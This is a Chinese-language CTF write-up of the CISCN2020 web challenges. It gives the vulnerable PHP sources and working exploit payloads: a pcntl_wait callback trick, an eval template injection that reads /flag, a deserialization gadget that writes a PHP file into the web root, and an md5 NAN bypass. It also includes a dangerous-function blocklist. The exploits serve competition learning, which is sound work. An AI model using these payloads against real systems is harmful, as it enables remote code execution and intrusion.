前言
今天刚打了CISCN2020,简单的WEB题都没有AK... 太菜了
题解
easyphp
通过题目描述猜测本题的考点应该是要让子线程非正常退出,执行phpinfo()
得到flag。
根据代码:
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die(‘could not fork‘);
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET[‘a‘])&&is_string($_GET[‘a‘])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET[‘a‘])){
call_user_func_array($_GET[‘a‘],[$_GET[‘b‘],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
查询手册得到:
pcntl_wait函数刮起当前进程的执行直到一个子进程退出或接收到一个信号要求中断当前进程或调用一个信号处理函数。 如果一个子进程在调用此函数时已经退出(俗称僵尸进程),此函数立刻返回。子进程使用的所有系统资源将 被释放。
故我们尝试使用回调函数调用pcntl_wait函数,让子线程异常退出。
Ture
和False
在充当int类型参数时会转成1和0。
EXP:
/?a=call_user_func&b=pcntl_wait
littlegame
通过扫描工具得到源码www.zip
,下载下来读取后发现此题很多都是假功能,读取flag处与其他功能在正常逻辑下是毫无办法获取到的。
发现setFn(req.session.knight, key, value);
这串代码可以给session赋值。
此函数是由require(‘set-value‘);
该库导入。
通过在package.json得知此库的版本为3.0.0。通过搜索引擎查阅得知,这里存在原型链污染漏洞。https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
污染原型:
获取FLAG:
rceme
打开题目得到源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET[‘a‘]);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array(‘php‘,‘preg‘,‘server‘,‘chr‘,‘decode‘,‘html‘,‘md5‘,‘post‘,‘get‘,‘request‘,‘file‘,‘cookie‘,‘session‘,‘sql‘,‘mkdir‘,‘copy‘,‘fwrite‘,‘del‘,‘encrypt‘,‘$‘,‘system‘,‘exec‘,‘shell‘,‘open‘,‘ini_‘,‘chroot‘,‘eval‘,‘passthru‘,‘include‘,‘require‘,‘assert‘,‘union‘,‘create‘,‘func‘,‘symlink‘,‘sleep‘,‘ord‘,‘str‘,‘source‘,‘rev‘,‘base_convert‘);
$s = str_ireplace($key,"*",$s);
$danger=array(‘php‘,‘preg‘,‘server‘,‘chr‘,‘decode‘,‘html‘,‘md5‘,‘post‘,‘get‘,‘request‘,‘file‘,‘cookie‘,‘session‘,‘sql‘,‘mkdir‘,‘copy‘,‘fwrite‘,‘del‘,‘encrypt‘,‘$‘,‘system‘,‘exec‘,‘shell‘,‘open‘,‘ini_‘,‘chroot‘,‘eval‘,‘passthru‘,‘include‘,‘require‘,‘assert‘,‘union‘,‘create‘,‘func‘,‘symlink‘,‘sleep‘,‘ord‘,‘str‘,‘source‘,‘rev‘,‘base_convert‘);
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die(‘很抱歉,执行出错,发现危险字符【‘.$val.‘】‘);
}
}
if(preg_match("/^[a-z]$/i")){
die(‘很抱歉,执行出错,发现危险字符‘);
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = ‘/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/‘;
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = ‘‘;
$out_html = ‘‘;
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,‘=‘) !== false){
$arr= splits($ifstr,‘=‘);
if($arr[0]==‘‘ || $arr[1]==‘‘){
die(‘很抱歉,模板中有错误的判断,请修正【‘.$ifstr.‘】‘);
}
$ifstr = str_replace( ‘=‘, ‘==‘, $ifstr );
}
$ifstr = str_replace( ‘<>‘, ‘!=‘, $ifstr );
$ifstr = str_replace( ‘or‘, ‘||‘, $ifstr );
$ifstr = str_replace( ‘and‘, ‘&&‘, $ifstr );
$ifstr = str_replace( ‘mod‘, ‘%‘, $ifstr );
$ifstr = str_replace( ‘not‘, ‘!‘, $ifstr );
if ( preg_match( ‘/\{|}/‘, $ifstr)) {
die(‘很抱歉,模板中有错误的判断,请修正‘.$ifstr);
}else{
@eval( ‘if(‘ . $ifstr . ‘){$flag="if";}else{$flag="else";}‘ );
}
if ( preg_match( ‘/([\s\S]*)?\{else\}([\s\S]*)?/‘, $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case ‘if‘:
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case ‘else‘:
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == ‘if‘ ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = ‘/\{if([0-9]):/‘;
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( ‘{if‘ . $matches3[ 1 ], ‘{if‘, $out_html );
$out_html = str_replace( ‘{else‘ . $matches3[ 1 ] . ‘}‘, ‘{else}‘, $out_html );
$out_html = str_replace( ‘{end if‘ . $matches3[ 1 ] . ‘}‘, ‘{end if}‘, $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=‘,‘ ) {
if ( empty( $s ) ) return array( ‘‘ );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
关键点在:
@eval( ‘if(‘ . $ifstr . ‘){$flag="if";}else{$flag="else";}‘ );
此处应该可进行任意命令执行。
复制下来在本地调试,很容易就得到了EXP:
/?a={if:true)echo%201;echo%20`cat%20/flag`;if(true}aaa{end%20if}
babyunserialize
这题比赛时也没做出来,也是赛后看的题解才学会的。
看来对于这种审计题还是自己太菜了,之后得找几个cms来练练。
jig.php的Jig类存在任意写两道,EXP:
<?php
namespace DB;
class Jig {
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
protected
//! Storage location
$dir = ‘/var/www/html/‘,
//! Current storage format
$format = self::FORMAT_JSON,
//! Jig log
$data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
//! lazy load/save files
$lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));
easytrick
打开题目得到源代码:
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET[‘trick‘]);
这题比赛时没做出来,赛后看其他师傅的题解才学到,Y1ng师傅tql。
EXP:
$tr->trick1 = NAN;
$tr->trick2 = NAN;
后记
这次比赛题目其实都不算难,但是自己的成绩还是不理想,隔壁的大师傅早AK了,orz。
太菜了。